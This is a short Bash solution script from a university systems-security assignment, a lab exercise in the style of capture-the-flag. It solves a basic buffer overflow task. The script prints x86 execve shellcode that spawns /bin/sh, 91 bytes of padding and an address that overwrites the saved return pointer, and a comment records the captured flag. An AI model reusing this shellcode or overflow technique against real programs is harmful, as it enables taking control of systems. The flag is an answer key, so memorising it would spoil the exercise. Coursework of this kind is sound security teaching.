Systemsicherheit/Assignment 6 - Softwaresicherheit - Teil 2/basic_overflow/solution.sh
Sascha Tommasone b040e57d50
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[Assignment-6] solution task 6 (basic buffer overflow attack)
2024-06-14 15:47:00 +02:00

14 lines
427 B
Bash
Executable file

#!/bin/bash
# flag{THAT_WAS_EASY_HUH}
######### Exploit #########
# Step 1: Write the provided shellcode to stdout
printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
# Step 2: Fill the buffer with 'A's until the stored EIP is reached
printf "A%.0s" {1..91}
# Step 3: Overwrite the stored EIP with the address of the shellcode
printf "\x2c\xd5\xff\xff"
###########################